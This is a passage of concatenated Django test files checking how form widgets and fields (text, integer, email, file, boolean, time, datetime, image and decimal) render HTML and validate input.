
        self.check_html(self.widget(choices=choices), 'nums', [2], html=(
            """<select multiple="multiple" name="nums">
            <option value="1">1</option>
            <option value="2" selected="selected">2</option>
            <option value="3">3</option>
            </select>"""
        ))

    def test_optgroup_select_multiple(self):
        widget = SelectMultiple(choices=(
            ('outer1', 'Outer 1'),
            ('Group "1"', (('inner1', 'Inner 1'), ('inner2', 'Inner 2'))),
        ))
        self.check_html(widget, 'nestchoice', ['outer1', 'inner2'], html=(
            """<select multiple="multiple" name="nestchoice">
            <option value="outer1" selected="selected">Outer 1</option>
            <optgroup label="Group &quot;1&quot;">
            <option value="inner1">Inner 1</option>
            <option value="inner2" selected="selected">Inner 2</option>
            </optgroup>
            </select>"""
        ))






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.forms import TextInput
from django.utils.safestring import mark_safe

from .base import WidgetTest


class TextInputTest(WidgetTest):
    widget = TextInput()

    def test_render(self):
        self.check_html(self.widget, 'email', '', html='<input type="text" name="email" />')

    def test_render_none(self):
        self.check_html(self.widget, 'email', None, html='<input type="text" name="email" />')

    def test_render_value(self):
        self.check_html(self.widget, 'email', 'test@example.com', html=(
            '<input type="text" name="email" value="test@example.com" />'
        ))

    def test_render_boolean(self):
        """
        Boolean values are rendered to their string forms ("True" and
        "False").
        """
        self.check_html(self.widget, 'get_spam', False, html=(
            '<input type="text" name="get_spam" value="False" />'
        ))
        self.check_html(self.widget, 'get_spam', True, html=(
            '<input type="text" name="get_spam" value="True" />'
        ))

    def test_render_quoted(self):
        self.check_html(
            self.widget, 'email', 'some "quoted" & ampersanded value',
            html='<input type="text" name="email" value="some &quot;quoted&quot; &amp; ampersanded value" />',
        )

    def test_render_custom_attrs(self):
        self.check_html(
            self.widget, 'email', 'test@example.com', attrs={'class': 'fun'},
            html='<input type="text" name="email" value="test@example.com" class="fun" />',
        )

    def test_render_unicode(self):
        self.check_html(
            self.widget, 'email', 'ŠĐĆŽćžšđ', attrs={'class': 'fun'},
            html=(
                '<input type="text" name="email" '
                'value="\u0160\u0110\u0106\u017d\u0107\u017e\u0161\u0111" class="fun" />'
            ),
        )

    def test_constructor_attrs(self):
        widget = TextInput(attrs={'class': 'fun', 'type': 'email'})
        self.check_html(widget, 'email', '', html='<input type="email" class="fun" name="email" />')
        self.check_html(
            widget, 'email', 'foo@example.com',
            html='<input type="email" class="fun" value="foo@example.com" name="email" />',
        )

    def test_attrs_precedence(self):
        """
        `attrs` passed to render() get precedence over those passed to the
        constructor
        """
        widget = TextInput(attrs={'class': 'pretty'})
        self.check_html(
            widget, 'email', '', attrs={'class': 'special'},
            html='<input type="text" class="special" name="email" />',
        )

    def test_attrs_safestring(self):
        widget = TextInput(attrs={'onBlur': mark_safe("function('foo')")})
        self.check_html(widget, 'email', '', html='<input onBlur="function(\'foo\')" type="text" name="email" />')

    def test_use_required_attribute(self):
        # Text inputs can safely trigger the browser validation.
        self.assertIs(self.widget.use_required_attribute(None), True)
        self.assertIs(self.widget.use_required_attribute(''), True)
        self.assertIs(self.widget.use_required_attribute('resume.txt'), True)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.forms import IntegerField, Textarea, ValidationError
from django.test import SimpleTestCase

from . import FormFieldAssertionsMixin


class IntegerFieldTest(FormFieldAssertionsMixin, SimpleTestCase):

    def test_integerfield_1(self):
        f = IntegerField()
        self.assertWidgetRendersTo(f, '<input type="number" name="f" id="id_f" required />')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)
        self.assertEqual(1, f.clean('1'))
        self.assertIsInstance(f.clean('1'), int)
        self.assertEqual(23, f.clean('23'))
        with self.assertRaisesMessage(ValidationError, "'Enter a whole number.'"):
            f.clean('a')
        self.assertEqual(42, f.clean(42))
        with self.assertRaisesMessage(ValidationError, "'Enter a whole number.'"):
            f.clean(3.14)
        self.assertEqual(1, f.clean('1 '))
        self.assertEqual(1, f.clean(' 1'))
        self.assertEqual(1, f.clean(' 1 '))
        with self.assertRaisesMessage(ValidationError, "'Enter a whole number.'"):
            f.clean('1a')
        self.assertIsNone(f.max_value)
        self.assertIsNone(f.min_value)

    def test_integerfield_2(self):
        f = IntegerField(required=False)
        self.assertIsNone(f.clean(''))
        self.assertEqual('None', repr(f.clean('')))
        self.assertIsNone(f.clean(None))
        self.assertEqual('None', repr(f.clean(None)))
        self.assertEqual(1, f.clean('1'))
        self.assertIsInstance(f.clean('1'), int)
        self.assertEqual(23, f.clean('23'))
        with self.assertRaisesMessage(ValidationError, "'Enter a whole number.'"):
            f.clean('a')
        self.assertEqual(1, f.clean('1 '))
        self.assertEqual(1, f.clean(' 1'))
        self.assertEqual(1, f.clean(' 1 '))
        with self.assertRaisesMessage(ValidationError, "'Enter a whole number.'"):
            f.clean('1a')
        self.assertIsNone(f.max_value)
        self.assertIsNone(f.min_value)

    def test_integerfield_3(self):
        f = IntegerField(max_value=10)
        self.assertWidgetRendersTo(f, '<input max="10" type="number" name="f" id="id_f" required />')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)
        self.assertEqual(1, f.clean(1))
        self.assertEqual(10, f.clean(10))
        with self.assertRaisesMessage(ValidationError, "'Ensure this value is less than or equal to 10.'"):
            f.clean(11)
        self.assertEqual(10, f.clean('10'))
        with self.assertRaisesMessage(ValidationError, "'Ensure this value is less than or equal to 10.'"):
            f.clean('11')
        self.assertEqual(f.max_value, 10)
        self.assertIsNone(f.min_value)

    def test_integerfield_4(self):
        f = IntegerField(min_value=10)
        self.assertWidgetRendersTo(f, '<input id="id_f" type="number" name="f" min="10" required />')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)
        with self.assertRaisesMessage(ValidationError, "'Ensure this value is greater than or equal to 10.'"):
            f.clean(1)
        self.assertEqual(10, f.clean(10))
        self.assertEqual(11, f.clean(11))
        self.assertEqual(10, f.clean('10'))
        self.assertEqual(11, f.clean('11'))
        self.assertIsNone(f.max_value)
        self.assertEqual(f.min_value, 10)

    def test_integerfield_5(self):
        f = IntegerField(min_value=10, max_value=20)
        self.assertWidgetRendersTo(f, '<input id="id_f" max="20" type="number" name="f" min="10" required />')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)
        with self.assertRaisesMessage(ValidationError, "'Ensure this value is greater than or equal to 10.'"):
            f.clean(1)
        self.assertEqual(10, f.clean(10))
        self.assertEqual(11, f.clean(11))
        self.assertEqual(10, f.clean('10'))
        self.assertEqual(11, f.clean('11'))
        self.assertEqual(20, f.clean(20))
        with self.assertRaisesMessage(ValidationError, "'Ensure this value is less than or equal to 20.'"):
            f.clean(21)
        self.assertEqual(f.max_value, 20)
        self.assertEqual(f.min_value, 10)

    def test_integerfield_localized(self):
        """
        A localized IntegerField's widget renders to a text input without any
        number input specific attributes.
        """
        f1 = IntegerField(localize=True)
        self.assertWidgetRendersTo(f1, '<input id="id_f" name="f" type="text" required />')

    def test_integerfield_float(self):
        f = IntegerField()
        self.assertEqual(1, f.clean(1.0))
        self.assertEqual(1, f.clean('1.0'))
        self.assertEqual(1, f.clean(' 1.0 '))
        self.assertEqual(1, f.clean('1.'))
        self.assertEqual(1, f.clean(' 1. '))
        with self.assertRaisesMessage(ValidationError, "'Enter a whole number.'"):
            f.clean('1.5')
        with self.assertRaisesMessage(ValidationError, "'Enter a whole number.'"):
            f.clean('…')

    def test_integerfield_big_num(self):
        f = IntegerField()
        self.assertEqual(9223372036854775808, f.clean(9223372036854775808))
        self.assertEqual(9223372036854775808, f.clean('9223372036854775808'))
        self.assertEqual(9223372036854775808, f.clean('9223372036854775808.0'))

    def test_integerfield_unicode_number(self):
        f = IntegerField()
        self.assertEqual(50, f.clean('５０'))

    def test_integerfield_subclass(self):
        """
        Class-defined widget is not overwritten by __init__() (#22245).
        """
        class MyIntegerField(IntegerField):
            widget = Textarea

        f = MyIntegerField()
        self.assertEqual(f.widget.__class__, Textarea)
        f = MyIntegerField(localize=True)
        self.assertEqual(f.widget.__class__, Textarea)






from django.forms import Field
from django.test import SimpleTestCase


class BasicFieldsTests(SimpleTestCase):

    def test_field_sets_widget_is_required(self):
        self.assertTrue(Field(required=True).widget.is_required)
        self.assertFalse(Field(required=False).widget.is_required)

    def test_cooperative_multiple_inheritance(self):
        class A(object):
            def __init__(self):
                self.class_a_var = True
                super(A, self).__init__()

        class ComplexField(Field, A):
            def __init__(self):
                super(ComplexField, self).__init__()

        f = ComplexField()
        self.assertTrue(f.class_a_var)






from __future__ import unicode_literals

import decimal

from django.forms import TypedMultipleChoiceField, ValidationError
from django.test import SimpleTestCase


class TypedMultipleChoiceFieldTest(SimpleTestCase):

    def test_typedmultiplechoicefield_1(self):
        f = TypedMultipleChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=int)
        self.assertEqual([1], f.clean(['1']))
        msg = "'Select a valid choice. 2 is not one of the available choices.'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean(['2'])

    def test_typedmultiplechoicefield_2(self):
        # Different coercion, same validation.
        f = TypedMultipleChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=float)
        self.assertEqual([1.0], f.clean(['1']))

    def test_typedmultiplechoicefield_3(self):
        # This can also cause weirdness: be careful (bool(-1) == True, remember)
        f = TypedMultipleChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=bool)
        self.assertEqual([True], f.clean(['-1']))

    def test_typedmultiplechoicefield_4(self):
        f = TypedMultipleChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=int)
        self.assertEqual([1, -1], f.clean(['1', '-1']))
        msg = "'Select a valid choice. 2 is not one of the available choices.'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean(['1', '2'])

    def test_typedmultiplechoicefield_5(self):
        # Even more weirdness: if you have a valid choice but your coercion function
        # can't coerce, you'll still get a validation error. Don't do this!
        f = TypedMultipleChoiceField(choices=[('A', 'A'), ('B', 'B')], coerce=int)
        msg = "'Select a valid choice. B is not one of the available choices.'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean(['B'])
        # Required fields require values
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean([])

    def test_typedmultiplechoicefield_6(self):
        # Non-required fields aren't required
        f = TypedMultipleChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=int, required=False)
        self.assertEqual([], f.clean([]))

    def test_typedmultiplechoicefield_7(self):
        # If you want cleaning an empty value to return a different type, tell the field
        f = TypedMultipleChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=int, required=False, empty_value=None)
        self.assertIsNone(f.clean([]))

    def test_typedmultiplechoicefield_has_changed(self):
        # has_changed should not trigger required validation
        f = TypedMultipleChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=int, required=True)
        self.assertFalse(f.has_changed(None, ''))

    def test_typedmultiplechoicefield_special_coerce(self):
        """
        A coerce function which results in a value not present in choices
        should raise an appropriate error (#21397).
        """
        def coerce_func(val):
            return decimal.Decimal('1.%s' % val)

        f = TypedMultipleChoiceField(
            choices=[(1, "1"), (2, "2")], coerce=coerce_func, required=True)
        self.assertEqual([decimal.Decimal('1.2')], f.clean(['2']))
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean([])
        msg = "'Select a valid choice. 3 is not one of the available choices.'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean(['3'])






from __future__ import unicode_literals

from django.forms import CharField, ComboField, EmailField, ValidationError
from django.test import SimpleTestCase


class ComboFieldTest(SimpleTestCase):

    def test_combofield_1(self):
        f = ComboField(fields=[CharField(max_length=20), EmailField()])
        self.assertEqual('test@example.com', f.clean('test@example.com'))
        with self.assertRaisesMessage(ValidationError, "'Ensure this value has at most 20 characters (it has 28).'"):
            f.clean('longemailaddress@example.com')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid email address.'"):
            f.clean('not an email')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)

    def test_combofield_2(self):
        f = ComboField(fields=[CharField(max_length=20), EmailField()], required=False)
        self.assertEqual('test@example.com', f.clean('test@example.com'))
        with self.assertRaisesMessage(ValidationError, "'Ensure this value has at most 20 characters (it has 28).'"):
            f.clean('longemailaddress@example.com')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid email address.'"):
            f.clean('not an email')
        self.assertEqual('', f.clean(''))
        self.assertEqual('', f.clean(None))






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.forms import EmailField, ValidationError
from django.test import SimpleTestCase

from . import FormFieldAssertionsMixin


class EmailFieldTest(FormFieldAssertionsMixin, SimpleTestCase):

    def test_emailfield_1(self):
        f = EmailField()
        self.assertWidgetRendersTo(f, '<input type="email" name="f" id="id_f" required />')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)
        self.assertEqual('person@example.com', f.clean('person@example.com'))
        with self.assertRaisesMessage(ValidationError, "'Enter a valid email address.'"):
            f.clean('foo')
        self.assertEqual(
            'local@domain.with.idn.xyz\xe4\xf6\xfc\xdfabc.part.com',
            f.clean('local@domain.with.idn.xyzäöüßabc.part.com')
        )

    def test_email_regexp_for_performance(self):
        f = EmailField()
        # Check for runaway regex security problem. This will take a long time
        # if the security fix isn't in place.
        addr = 'viewx3dtextx26qx3d@yahoo.comx26latlngx3d15854521645943074058'
        self.assertEqual(addr, f.clean(addr))

    def test_emailfield_not_required(self):
        f = EmailField(required=False)
        self.assertEqual('', f.clean(''))
        self.assertEqual('', f.clean(None))
        self.assertEqual('person@example.com', f.clean('person@example.com'))
        self.assertEqual('example@example.com', f.clean('      example@example.com  \t   \t '))
        with self.assertRaisesMessage(ValidationError, "'Enter a valid email address.'"):
            f.clean('foo')

    def test_emailfield_min_max_length(self):
        f = EmailField(min_length=10, max_length=15)
        self.assertWidgetRendersTo(
            f,
            '<input id="id_f" type="email" name="f" maxlength="15" minlength="10" required />',
        )
        with self.assertRaisesMessage(ValidationError, "'Ensure this value has at least 10 characters (it has 9).'"):
            f.clean('a@foo.com')
        self.assertEqual('alf@foo.com', f.clean('alf@foo.com'))
        with self.assertRaisesMessage(ValidationError, "'Ensure this value has at most 15 characters (it has 20).'"):
            f.clean('alf123456788@foo.com')

    def test_emailfield_strip_on_none_value(self):
        f = EmailField(required=False, empty_value=None)
        self.assertIsNone(f.clean(None))

    def test_emailfield_unable_to_set_strip_kwarg(self):
        msg = "__init__() got multiple values for keyword argument 'strip'"
        with self.assertRaisesMessage(TypeError, msg):
            EmailField(strip=False)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import pickle

from django.core.files.uploadedfile import SimpleUploadedFile
from django.forms import FileField, ValidationError
from django.test import SimpleTestCase


class FileFieldTest(SimpleTestCase):

    def test_filefield_1(self):
        f = FileField()
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('', '')
        self.assertEqual('files/test1.pdf', f.clean('', 'files/test1.pdf'))
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None, '')
        self.assertEqual('files/test2.pdf', f.clean(None, 'files/test2.pdf'))
        no_file_msg = "'No file was submitted. Check the encoding type on the form.'"
        with self.assertRaisesMessage(ValidationError, no_file_msg):
            f.clean(SimpleUploadedFile('', b''))
        with self.assertRaisesMessage(ValidationError, no_file_msg):
            f.clean(SimpleUploadedFile('', b''), '')
        self.assertEqual('files/test3.pdf', f.clean(None, 'files/test3.pdf'))
        with self.assertRaisesMessage(ValidationError, no_file_msg):
            f.clean('some content that is not a file')
        with self.assertRaisesMessage(ValidationError, "'The submitted file is empty.'"):
            f.clean(SimpleUploadedFile('name', None))
        with self.assertRaisesMessage(ValidationError, "'The submitted file is empty.'"):
            f.clean(SimpleUploadedFile('name', b''))
        self.assertEqual(SimpleUploadedFile, type(f.clean(SimpleUploadedFile('name', b'Some File Content'))))
        self.assertIsInstance(
            f.clean(SimpleUploadedFile('我隻氣墊船裝滿晒鱔.txt', 'मेरी मँडराने वाली नाव सर्पमीनों से भरी ह'.encode('utf-8'))),
            SimpleUploadedFile
        )
        self.assertIsInstance(
            f.clean(SimpleUploadedFile('name', b'Some File Content'), 'files/test4.pdf'),
            SimpleUploadedFile
        )

    def test_filefield_2(self):
        f = FileField(max_length=5)
        with self.assertRaisesMessage(ValidationError, "'Ensure this filename has at most 5 characters (it has 18).'"):
            f.clean(SimpleUploadedFile('test_maxlength.txt', b'hello world'))
        self.assertEqual('files/test1.pdf', f.clean('', 'files/test1.pdf'))
        self.assertEqual('files/test2.pdf', f.clean(None, 'files/test2.pdf'))
        self.assertIsInstance(f.clean(SimpleUploadedFile('name', b'Some File Content')), SimpleUploadedFile)

    def test_filefield_3(self):
        f = FileField(allow_empty_file=True)
        self.assertIsInstance(f.clean(SimpleUploadedFile('name', b'')), SimpleUploadedFile)

    def test_filefield_changed(self):
        """
        The value of data will more than likely come from request.FILES. The
        value of initial data will likely be a filename stored in the database.
        Since its value is of no use to a FileField it is ignored.
        """
        f = FileField()

        # No file was uploaded and no initial data.
        self.assertFalse(f.has_changed('', None))

        # A file was uploaded and no initial data.
        self.assertTrue(f.has_changed('', {'filename': 'resume.txt', 'content': 'My resume'}))

        # A file was not uploaded, but there is initial data
        self.assertFalse(f.has_changed('resume.txt', None))

        # A file was uploaded and there is initial data (file identity is not dealt
        # with here)
        self.assertTrue(f.has_changed('resume.txt', {'filename': 'resume.txt', 'content': 'My resume'}))

    def test_file_picklable(self):
        self.assertIsInstance(pickle.loads(pickle.dumps(FileField())), FileField)






from __future__ import unicode_literals

import pickle

from django.forms import BooleanField, ValidationError
from django.test import SimpleTestCase


class BooleanFieldTest(SimpleTestCase):

    def test_booleanfield_clean_1(self):
        f = BooleanField()
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)
        self.assertTrue(f.clean(True))
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(False)
        self.assertTrue(f.clean(1))
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(0)
        self.assertTrue(f.clean('Django rocks'))
        self.assertTrue(f.clean('True'))
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('False')

    def test_booleanfield_clean_2(self):
        f = BooleanField(required=False)
        self.assertIs(f.clean(''), False)
        self.assertIs(f.clean(None), False)
        self.assertIs(f.clean(True), True)
        self.assertIs(f.clean(False), False)
        self.assertIs(f.clean(1), True)
        self.assertIs(f.clean(0), False)
        self.assertIs(f.clean('1'), True)
        self.assertIs(f.clean('0'), False)
        self.assertIs(f.clean('Django rocks'), True)
        self.assertIs(f.clean('False'), False)
        self.assertIs(f.clean('false'), False)
        self.assertIs(f.clean('FaLsE'), False)

    def test_boolean_picklable(self):
        self.assertIsInstance(pickle.loads(pickle.dumps(BooleanField())), BooleanField)

    def test_booleanfield_changed(self):
        f = BooleanField()
        self.assertFalse(f.has_changed(None, None))
        self.assertFalse(f.has_changed(None, ''))
        self.assertFalse(f.has_changed('', None))
        self.assertFalse(f.has_changed('', ''))
        self.assertTrue(f.has_changed(False, 'on'))
        self.assertFalse(f.has_changed(True, 'on'))
        self.assertTrue(f.has_changed(True, ''))
        # Initial value may have mutated to a string due to show_hidden_initial (#19537)
        self.assertTrue(f.has_changed('False', 'on'))
        # HiddenInput widget sends string values for boolean but doesn't clean them in value_from_datadict
        self.assertFalse(f.has_changed(False, 'False'))
        self.assertFalse(f.has_changed(True, 'True'))
        self.assertTrue(f.has_changed(False, 'True'))
        self.assertTrue(f.has_changed(True, 'False'))






from __future__ import unicode_literals

import datetime

from django.forms import TimeField, ValidationError
from django.test import SimpleTestCase

from . import FormFieldAssertionsMixin


class TimeFieldTest(FormFieldAssertionsMixin, SimpleTestCase):

    def test_timefield_1(self):
        f = TimeField()
        self.assertEqual(datetime.time(14, 25), f.clean(datetime.time(14, 25)))
        self.assertEqual(datetime.time(14, 25, 59), f.clean(datetime.time(14, 25, 59)))
        self.assertEqual(datetime.time(14, 25), f.clean('14:25'))
        self.assertEqual(datetime.time(14, 25, 59), f.clean('14:25:59'))
        with self.assertRaisesMessage(ValidationError, "'Enter a valid time.'"):
            f.clean('hello')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid time.'"):
            f.clean('1:24 p.m.')

    def test_timefield_2(self):
        f = TimeField(input_formats=['%I:%M %p'])
        self.assertEqual(datetime.time(14, 25), f.clean(datetime.time(14, 25)))
        self.assertEqual(datetime.time(14, 25, 59), f.clean(datetime.time(14, 25, 59)))
        self.assertEqual(datetime.time(4, 25), f.clean('4:25 AM'))
        self.assertEqual(datetime.time(16, 25), f.clean('4:25 PM'))
        with self.assertRaisesMessage(ValidationError, "'Enter a valid time.'"):
            f.clean('14:30:45')

    def test_timefield_3(self):
        f = TimeField()
        # Test whitespace stripping behavior (#5714)
        self.assertEqual(datetime.time(14, 25), f.clean(' 14:25 '))
        self.assertEqual(datetime.time(14, 25, 59), f.clean(' 14:25:59 '))
        with self.assertRaisesMessage(ValidationError, "'Enter a valid time.'"):
            f.clean('   ')

    def test_timefield_changed(self):
        t1 = datetime.time(12, 51, 34, 482548)
        t2 = datetime.time(12, 51)
        f = TimeField(input_formats=['%H:%M', '%H:%M %p'])
        self.assertTrue(f.has_changed(t1, '12:51'))
        self.assertFalse(f.has_changed(t2, '12:51'))
        self.assertFalse(f.has_changed(t2, '12:51 PM'))






from __future__ import unicode_literals

import datetime

from django.forms import DateTimeField, ValidationError
from django.test import SimpleTestCase


class DateTimeFieldTest(SimpleTestCase):

    def test_datetimefield_1(self):
        f = DateTimeField()
        self.assertEqual(datetime.datetime(2006, 10, 25, 0, 0), f.clean(datetime.date(2006, 10, 25)))
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30), f.clean(datetime.datetime(2006, 10, 25, 14, 30)))
        self.assertEqual(
            datetime.datetime(2006, 10, 25, 14, 30, 59),
            f.clean(datetime.datetime(2006, 10, 25, 14, 30, 59))
        )
        self.assertEqual(
            datetime.datetime(2006, 10, 25, 14, 30, 59, 200),
            f.clean(datetime.datetime(2006, 10, 25, 14, 30, 59, 200))
        )
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45, 200), f.clean('2006-10-25 14:30:45.000200'))
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45, 200), f.clean('2006-10-25 14:30:45.0002'))
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45), f.clean('2006-10-25 14:30:45'))
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30), f.clean('2006-10-25 14:30:00'))
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30), f.clean('2006-10-25 14:30'))
        self.assertEqual(datetime.datetime(2006, 10, 25, 0, 0), f.clean('2006-10-25'))
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45, 200), f.clean('10/25/2006 14:30:45.000200'))
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45), f.clean('10/25/2006 14:30:45'))
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30), f.clean('10/25/2006 14:30:00'))
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30), f.clean('10/25/2006 14:30'))
        self.assertEqual(datetime.datetime(2006, 10, 25, 0, 0), f.clean('10/25/2006'))
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45, 200), f.clean('10/25/06 14:30:45.000200'))
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45), f.clean('10/25/06 14:30:45'))
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30), f.clean('10/25/06 14:30:00'))
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30), f.clean('10/25/06 14:30'))
        self.assertEqual(datetime.datetime(2006, 10, 25, 0, 0), f.clean('10/25/06'))
        with self.assertRaisesMessage(ValidationError, "'Enter a valid date/time.'"):
            f.clean('hello')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid date/time.'"):
            f.clean('2006-10-25 4:30 p.m.')

    def test_datetimefield_2(self):
        f = DateTimeField(input_formats=['%Y %m %d %I:%M %p'])
        self.assertEqual(datetime.datetime(2006, 10, 25, 0, 0), f.clean(datetime.date(2006, 10, 25)))
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30), f.clean(datetime.datetime(2006, 10, 25, 14, 30)))
        self.assertEqual(
            datetime.datetime(2006, 10, 25, 14, 30, 59),
            f.clean(datetime.datetime(2006, 10, 25, 14, 30, 59))
        )
        self.assertEqual(
            datetime.datetime(2006, 10, 25, 14, 30, 59, 200),
            f.clean(datetime.datetime(2006, 10, 25, 14, 30, 59, 200))
        )
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30), f.clean('2006 10 25 2:30 PM'))
        with self.assertRaisesMessage(ValidationError, "'Enter a valid date/time.'"):
            f.clean('2006-10-25 14:30:45')

    def test_datetimefield_3(self):
        f = DateTimeField(required=False)
        self.assertIsNone(f.clean(None))
        self.assertEqual('None', repr(f.clean(None)))
        self.assertIsNone(f.clean(''))
        self.assertEqual('None', repr(f.clean('')))

    def test_datetimefield_4(self):
        f = DateTimeField()
        # Test whitespace stripping behavior (#5714)
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45), f.clean(' 2006-10-25   14:30:45 '))
        self.assertEqual(datetime.datetime(2006, 10, 25, 0, 0), f.clean(' 2006-10-25 '))
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45), f.clean(' 10/25/2006 14:30:45 '))
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30), f.clean(' 10/25/2006 14:30 '))
        self.assertEqual(datetime.datetime(2006, 10, 25, 0, 0), f.clean(' 10/25/2006 '))
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45), f.clean(' 10/25/06 14:30:45 '))
        self.assertEqual(datetime.datetime(2006, 10, 25, 0, 0), f.clean(' 10/25/06 '))
        with self.assertRaisesMessage(ValidationError, "'Enter a valid date/time.'"):
            f.clean('   ')

    def test_datetimefield_5(self):
        f = DateTimeField(input_formats=['%Y.%m.%d %H:%M:%S.%f'])
        self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45, 200), f.clean('2006.10.25 14:30:45.0002'))

    def test_datetimefield_changed(self):
        format = '%Y %m %d %I:%M %p'
        f = DateTimeField(input_formats=[format])
        d = datetime.datetime(2006, 9, 17, 14, 30, 0)
        self.assertFalse(f.has_changed(d, '2006 09 17 2:30 PM'))






from __future__ import unicode_literals

import os
import unittest

from django.core.files.uploadedfile import SimpleUploadedFile
from django.forms import ImageField
from django.test import SimpleTestCase
from django.utils._os import upath

try:
    from PIL import Image
except ImportError:
    Image = None


def get_img_path(path):
    return os.path.join(os.path.abspath(os.path.join(upath(__file__), '..', '..')), 'tests', path)


@unittest.skipUnless(Image, "Pillow is required to test ImageField")
class ImageFieldTest(SimpleTestCase):

    def test_imagefield_annotate_with_image_after_clean(self):
        f = ImageField()

        img_path = get_img_path('filepath_test_files/1x1.png')
        with open(img_path, 'rb') as img_file:
            img_data = img_file.read()

        img_file = SimpleUploadedFile('1x1.png', img_data)
        img_file.content_type = 'text/plain'

        uploaded_file = f.clean(img_file)

        self.assertEqual('PNG', uploaded_file.image.format)
        self.assertEqual('image/png', uploaded_file.content_type)

    def test_imagefield_annotate_with_bitmap_image_after_clean(self):
        """
        This also tests the situation when Pillow doesn't detect the MIME type
        of the image (#24948).
        """
        from PIL.BmpImagePlugin import BmpImageFile
        try:
            Image.register_mime(BmpImageFile.format, None)
            f = ImageField()
            img_path = get_img_path('filepath_test_files/1x1.bmp')
            with open(img_path, 'rb') as img_file:
                img_data = img_file.read()

            img_file = SimpleUploadedFile('1x1.bmp', img_data)
            img_file.content_type = 'text/plain'

            uploaded_file = f.clean(img_file)

            self.assertEqual('BMP', uploaded_file.image.format)
            self.assertIsNone(uploaded_file.content_type)
        finally:
            Image.register_mime(BmpImageFile.format, 'image/bmp')






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import decimal

from django.forms import DecimalField, NumberInput, ValidationError, Widget
from django.test import SimpleTestCase
from django.utils import formats, translation

from . import FormFieldAssertionsMixin


class DecimalFieldTest(FormFieldAssertionsMixin, SimpleTestCase):

    def test_decimalfield_1(self):
        f = DecimalField(max_digits=4, decimal_places=2)
        self.assertWidgetRendersTo(f, '<input id="id_f" step="0.01" type="number" name="f" required />')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)
        self.assertEqual(f.clean('1'), decimal.Decimal("1"))
        self.assertIsInstance(f.clean('1'), decimal.Decimal)
        self.assertEqual(f.clean('23'), decimal.Decimal("23"))
        self.assertEqual(f.clean('3.14'), decimal.Decimal("3.14"))
        self.assertEqual(f.clean(3.14), decimal.Decimal("3.14"))
        self.assertEqual(f.clean(decimal.Decimal('3.14')), decimal.Decimal("3.14"))
        with self.assertRaisesMessage(ValidationError, "'Enter a number.'"):
            f.clean('NaN')
        with self.assertRaisesMessage(ValidationError, "'Enter a number.'"):
            f.clean('Inf')
        with self.assertRaisesMessage(ValidationError, "'Enter a number.'"):
            f.clean('-Inf')
        with self.assertRaisesMessage(ValidationError, "'Enter a number.'"):
            f.clean('a')
        with self.assertRaisesMessage(ValidationError, "'Enter a number.'"):
